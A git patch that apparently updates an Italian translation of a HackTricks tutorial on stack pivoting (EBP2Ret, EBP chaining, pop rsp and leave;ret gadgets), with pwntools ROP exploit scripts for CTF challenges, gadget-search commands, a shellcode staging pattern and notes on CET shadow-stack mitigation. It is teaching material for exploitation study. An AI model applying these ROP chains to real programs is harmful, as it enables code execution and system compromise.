From 8699af5817791d9dd17358766c1ca573dbd21ca9 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 16:16:39 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r --- .../stack-pivoting-ebp2ret-ebp-chaining.md | 167 ++++++++++++------ 1 file changed, 116 insertions(+), 51 deletions(-) diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index a1940b63c..c0ec81a40 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -4,59 +4,63 @@ ## Informazioni di base -Questa tecnica sfrutta la capacità di manipolare il **Base Pointer (EBP)** per concatenare l'esecuzione di più funzioni attraverso un uso attento del registro EBP e della sequenza di istruzioni **`leave; ret`**. +Questa tecnica sfrutta la capacità di manipolare il **Base Pointer (EBP/RBP)** per concatenare l'esecuzione di più funzioni attraverso un uso attento del frame pointer e della sequenza di istruzioni **`leave; ret`**. -Come promemoria, **`leave`** significa fondamentalmente: +Come promemoria, su x86/x86-64 **`leave`** è equivalente a: ``` -mov ebp, esp -pop ebp +mov rsp, rbp ; mov esp, ebp on x86 +pop rbp ; pop ebp on x86 ret ``` -E come se l'**EBP è nello stack** prima dell'EIP, è possibile controllarlo controllando lo stack. +E come il **EBP/RBP salvato è nello stack** prima dell'EIP/RIP salvato, è possibile controllarlo controllando lo stack. + +> Note +> - Su 64 bit, sostituire EBP→RBP e ESP→RSP. La semantica è la stessa. +> - Alcuni compilatori omettono il puntatore di frame (vedi “EBP potrebbe non essere utilizzato”). In tal caso, `leave` potrebbe non apparire e questa tecnica non funzionerà. ### EBP2Ret -Questa tecnica è particolarmente utile quando puoi **modificare il registro EBP ma non hai un modo diretto per cambiare il registro EIP**. Sfrutta il comportamento delle funzioni quando terminano l'esecuzione. +Questa tecnica è particolarmente utile quando puoi **modificare l'EBP/RBP salvato ma non hai un modo diretto per cambiare EIP/RIP**. Sfrutta il comportamento dell'epilogo della funzione. -Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode (più 4 byte per tenere conto dell'operazione `pop`), puoi controllare indirettamente l'EIP. Quando `fvuln` restituisce, l'ESP è impostato su questa posizione creata, e l'operazione `pop` successiva diminuisce l'ESP di 4, **facendolo puntare effettivamente a un indirizzo memorizzato dall'attaccante lì.**\ -Nota come **devi conoscere 2 indirizzi**: Quello dove andrà l'ESP, dove dovrai scrivere l'indirizzo a cui punta l'ESP. +Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per tenere conto del `pop`), puoi controllare indirettamente RIP. Quando la funzione restituisce, `leave` imposta RSP sulla posizione creata e il successivo `pop rbp` diminuisce RSP, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì**. Poi `ret` utilizzerà quell'indirizzo. + +Nota come **devi conoscere 2 indirizzi**: l'indirizzo dove andrà ESP/RSP e il valore memorizzato a quell'indirizzo che `ret` consumerà. #### Costruzione dell'Exploit -Prima devi conoscere un **indirizzo dove puoi scrivere dati / indirizzi arbitrari**. L'ESP punterà qui e **eseguirà il primo `ret`**. +Prima devi conoscere un **indirizzo dove puoi scrivere dati/indirizzi arbitrari**. RSP punterà qui e **consumerà il primo `ret`**. -Poi, devi conoscere l'indirizzo utilizzato da `ret` che **eseguirà codice arbitrario**. Potresti usare: +Poi, devi scegliere l'indirizzo utilizzato da `ret` che **trasferirà l'esecuzione**. Potresti usare: -- Un indirizzo valido [**ONE_GADGET**](https://github.com/david942j/one_gadget). -- L'indirizzo di **`system()`** seguito da **4 byte spazzatura** e l'indirizzo di `"/bin/sh"` (x86 bits). -- L'indirizzo di un gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguito dal **shellcode** da eseguire. -- Alcuna catena [**ROP**](../rop-return-oriented-programing/index.html) +- Un valido [**ONE_GADGET**](https://github.com/david942j/one_gadget) indirizzo. +- L'indirizzo di **`system()`** seguito dal ritorno e dagli argomenti appropriati (su x86: `ret` target = `&system`, poi 4 byte spazzatura, poi `&"/bin/sh"`). +- L'indirizzo di un gadget **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguito da shellcode inline. +- Una catena [**ROP**](../rop-return-oriented-programing/index.html) in memoria scrivibile. -Ricorda che prima di qualsiasi di questi indirizzi nella parte controllata della memoria, devono esserci **`4` byte** a causa della parte **`pop`** dell'istruzione `leave`. Sarebbe possibile abusare di questi 4B per impostare un **secondo fake EBP** e continuare a controllare l'esecuzione. +Ricorda che prima di qualsiasi di questi indirizzi nell'area controllata, deve esserci **spazio per il `pop ebp/rbp`** da `leave` (8B su amd64, 4B su x86). Puoi abusare di questi byte per impostare un **secondo fake EBP** e mantenere il controllo dopo che la prima chiamata restituisce. -#### Off-By-One Exploit +#### Exploit Off-By-One -C'è una variante specifica di questa tecnica nota come "Off-By-One Exploit". Viene utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con il **`ret`** deve condividere i primi tre byte con l'EBP, consentendo una manipolazione simile con condizioni più vincolate.\ -Di solito viene modificato il byte 0x00 per saltare il più lontano possibile. +C'è una variante utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP/RBP salvato**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con **`ret`** deve condividere i primi tre/cinque byte con l'EBP/RBP originale in modo che un sovrascrittura di 1 byte possa reindirizzarlo. Di solito, il byte basso (offset 0x00) viene aumentato per saltare il più lontano possibile all'interno di una pagina/regione allineata vicina. -Inoltre, è comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo ESP punti all'interno del RET SLED e che la catena ROP finale venga eseguita. +È anche comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo RSP punti all'interno dello sled e che la catena ROP finale venga eseguita. -### **EBP Chaining** +### EBP Chaining -Pertanto, mettendo un indirizzo controllato nell'entrata `EBP` dello stack e un indirizzo per `leave; ret` in `EIP`, è possibile **spostare l'`ESP` all'indirizzo `EBP` controllato dallo stack**. +Posizionando un indirizzo controllato nello slot `EBP` salvato dello stack e un gadget `leave; ret` in `EIP/RIP`, è possibile **spostare `ESP/RSP` a un indirizzo controllato dall'attaccante**. -Ora, l'**`ESP`** è controllato puntando a un indirizzo desiderato e la prossima istruzione da eseguire è un `RET`. Per abusare di questo, è possibile posizionare nel posto controllato dell'ESP questo: +Ora `RSP` è controllato e la prossima istruzione è `ret`. Posiziona nella memoria controllata qualcosa come: -- **`&(next fake EBP)`** -> Carica il nuovo EBP a causa di `pop ebp` dall'istruzione `leave` -- **`system()`** -> Chiamato da `ret` -- **`&(leave;ret)`** -> Chiamato dopo che il sistema termina, sposterà l'ESP al fake EBP e ricomincerà -- **`&("/bin/sh")`**-> Parametro per `system` +- `&(next fake EBP)` -> Caricato da `pop ebp/rbp` da `leave`. +- `&system()` -> Chiamato da `ret`. +- `&(leave;ret)` -> Dopo che `system` termina, sposta RSP al prossimo fake EBP e continua. +- `&("/bin/sh")` -> Argomento per `system`. -Fondamentalmente in questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma. +In questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma. -Questo è simile a un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ma più complesso senza apparenti vantaggi ma potrebbe essere interessante in alcuni casi limite. +Questo è simile a un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ma più complesso e utile solo in casi limite. -Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con una **stack leak** per chiamare una funzione vincente. Questo è il payload finale dalla pagina: +Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con un **leak dello stack** per chiamare una funzione vincente. Questo è il payload finale dalla pagina: ```python from pwn import * @@ -72,7 +76,7 @@ POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( -0x0, # rbp (could be the address of anoter fake RBP) +0x0, # rbp (could be the address of another fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, @@ -81,23 +85,24 @@ POP_RSI_R15, elf.sym['winner'] ) -payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) +payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP) payload += flat( -buffer, # Load leak address in RBP -LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it +buffer, # Load leaked address in RBP +LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` +> consiglio di allineamento amd64: il System V ABI richiede un allineamento dello stack a 16 byte nei punti di chiamata. Se la tua catena chiama funzioni come `system`, aggiungi un gadget di allineamento (ad es., `ret`, o `sub rsp, 8 ; ret`) prima della chiamata per mantenere l'allineamento ed evitare crash di `movaps`. + ## EBP potrebbe non essere utilizzato -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, il **EBP non controlla mai ESP**, quindi, qualsiasi exploit che funziona controllando EBP fallirà fondamentalmente perché non ha alcun effetto reale.\ -Questo è dovuto al fatto che i **prologhi ed epiloghi cambiano** se il binario è ottimizzato. +Come [**spiegato in questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni o con omissione del puntatore di frame, l'**EBP/RBP non controlla mai ESP/RSP**. Pertanto, qualsiasi exploit che funziona controllando EBP/RBP fallirà perché il prologo/epilogo non ripristina dal puntatore di frame. -- **Non ottimizzato:** +- Non ottimizzato / puntatore di frame utilizzato: ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp @@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` -- **Ottimizzato:** +- Ottimizzato / puntatore del frame omesso: ```bash -push %ebx # save ebx +push %ebx # save callee-saved register sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size -pop %ebx # restore ebx +pop %ebx # restore ret # return ``` +Su amd64 vedrai spesso `pop rbp ; ret` invece di `leave ; ret`, ma se il puntatore di frame è completamente omesso, allora non c'è un epilogo basato su `rbp` attraverso cui effettuare il pivot. + ## Altri modi per controllare RSP -### **`pop rsp`** gadget +### Gadget `pop rsp` -[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per questa sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **`pop rsp` gadget** e c'era una **leak dallo stack**: +[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per quella sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **gadget `pop rsp`** e c'era una **leak dallo stack**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments @@ -167,7 +174,7 @@ pause() p.sendline(payload) print(p.recvline()) ``` -### xchg \, rsp gadget +### xchg , rsp gadget ``` pop <=== return pointer @@ -181,18 +188,65 @@ Controlla la tecnica ret2esp qui: ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} -## Riferimenti e Altri Esempi +### Trovare rapidamente gadget di pivot -- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) -- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) -- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) -- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled -- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) -- 64 bit, no relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci di `.fini_array` + chiamando `__libc_csu_fini` ([maggiori informazioni qui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando di questo "scrittura eterna", viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP. +Usa il tuo cercatore di gadget preferito per cercare classici primitivi di pivot: + +- `leave ; ret` su funzioni o in librerie +- `pop rsp` / `xchg rax, rsp ; ret` +- `add rsp, ; ret` (o `add esp, ; ret` su x86) + +Esempi: +```bash +# Ropper +ropper --file ./vuln --search "leave; ret" +ropper --file ./vuln --search "pop rsp" +ropper --file ./vuln --search "xchg rax, rsp ; ret" + +# ROPgadget +ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp" +``` +### Classic pivot staging pattern + +Una robusta strategia di pivot utilizzata in molti CTF/exploits: + +1) Utilizzare un piccolo overflow iniziale per chiamare `read`/`recv` in una grande area scrivibile (ad es., `.bss`, heap o memoria RW mappata) e posizionare lì una catena ROP completa. +2) Ritornare in un gadget di pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) per spostare RSP in quella regione. +3) Continuare con la catena preparata (ad es., leak libc, chiamare `mprotect`, poi `read` shellcode, poi saltare a essa). + +## Modern mitigations that break stack pivoting (CET/Shadow Stack) + +I moderni CPU e OS x86 implementano sempre più **CET Shadow Stack (SHSTK)**. Con SHSTK abilitato, `ret` confronta l'indirizzo di ritorno nello stack normale con uno stack shadow protetto dall'hardware; qualsiasi discrepanza solleva un errore di Control-Protection e termina il processo. Pertanto, tecniche come EBP2Ret/leave;ret-based pivots si bloccheranno non appena il primo `ret` viene eseguito da uno stack pivotato. + +- Per informazioni di base e dettagli più approfonditi vedere: + +{{#ref}} +../common-binary-protections-and-bypasses/cet-and-shadow-stack.md +{{#endref}} + +- Controlli rapidi su Linux: +```bash +# 1) Is the binary/toolchain CET-marked? +readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)' + +# 2) Is the CPU/kernel capable? +grep -E 'user_shstk|ibt' /proc/cpuinfo + +# 3) Is SHSTK active for this process? +grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss) + +# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags +(gdb) checksec +``` +- Note per laboratori/CTF: +- Alcune distribuzioni moderne abilitano SHSTK per i binari abilitati CET quando è presente supporto hardware e glibc. Per test controllati in VM, SHSTK può essere disabilitato a livello di sistema tramite il parametro di avvio del kernel `nousershstk`, o abilitato selettivamente tramite le impostazioni di glibc durante l'avvio (vedi riferimenti). Non disabilitare le mitigazioni su obiettivi di produzione. +- Le tecniche basate su JOP/COOP o SROP potrebbero ancora essere valide su alcuni obiettivi, ma SHSTK rompe specificamente i pivot basati su `ret`. + +- Nota su Windows: Windows 10+ espone la modalità utente e Windows 11 aggiunge la “Protezione dello Stack Forzata dall'Hardware” in modalità kernel basata su stack shadow. I processi compatibili con CET impediscono il pivoting dello stack/ROP a `ret`; gli sviluppatori devono optare per CETCOMPAT e politiche correlate (vedi riferimento). ## ARM64 -In ARM64, i **prologhi e gli epiloghi** delle funzioni **non memorizzano e recuperano il registro SP** nello stack. Inoltre, l'istruzione **`RET`** non restituisce all'indirizzo puntato da SP, ma **all'indirizzo dentro `x30`**. +In ARM64, i **prologhi e gli epiloghi** delle funzioni **non memorizzano e recuperano il registro SP** nello stack. Inoltre, l'istruzione **`RET`** non restituisce all'indirizzo puntato da SP, ma **all'indirizzo all'interno di `x30`**. Pertanto, per impostazione predefinita, abusando semplicemente dell'epilogo **non sarai in grado di controllare il registro SP** sovrascrivendo alcuni dati all'interno dello stack. E anche se riesci a controllare lo SP, avresti comunque bisogno di un modo per **controllare il registro `x30`**. @@ -213,7 +267,7 @@ ret ``` > [!CAUTION] -> Il modo per eseguire qualcosa di simile al pivoting dello stack in ARM64 sarebbe essere in grado di **controllare lo `SP`** (controllando qualche registro il cui valore viene passato a `SP` o perché per qualche motivo `SP` sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e poi **abusare dell'epilogo** per caricare il registro **`x30`** da un **`SP` controllato** e **`RET`** a esso. +> Il modo per eseguire qualcosa di simile al pivoting dello stack in ARM64 sarebbe essere in grado di **controllare lo `SP`** (controllando qualche registro il cui valore viene passato a `SP` o perché per qualche motivo `SP` sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e poi **abusare dell'epilogo** per caricare il registro **`x30`** da uno **`SP`** controllato e **`RET`** a esso. Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**: @@ -221,4 +275,15 @@ Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64** ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} +## Riferimenti + +- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) +- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) +- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) +- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled +- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) +- 64 bit, senza relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci di `.fini_array` + chiamando `__libc_csu_fini` ([maggiori informazioni qui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando di questa scrittura "eterna", viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP. +- Documentazione del kernel Linux: Control-flow Enforcement Technology (CET) Shadow Stack — dettagli su SHSTK, `nousershstk`, flag di `/proc/$PID/status`, e abilitazione tramite `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html +- Microsoft Learn: Protezione dello Stack Forzata dall'Hardware in Modalità Kernel (stack shadow CET su Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection + {{#include ../../banners/hacktricks-training.md}}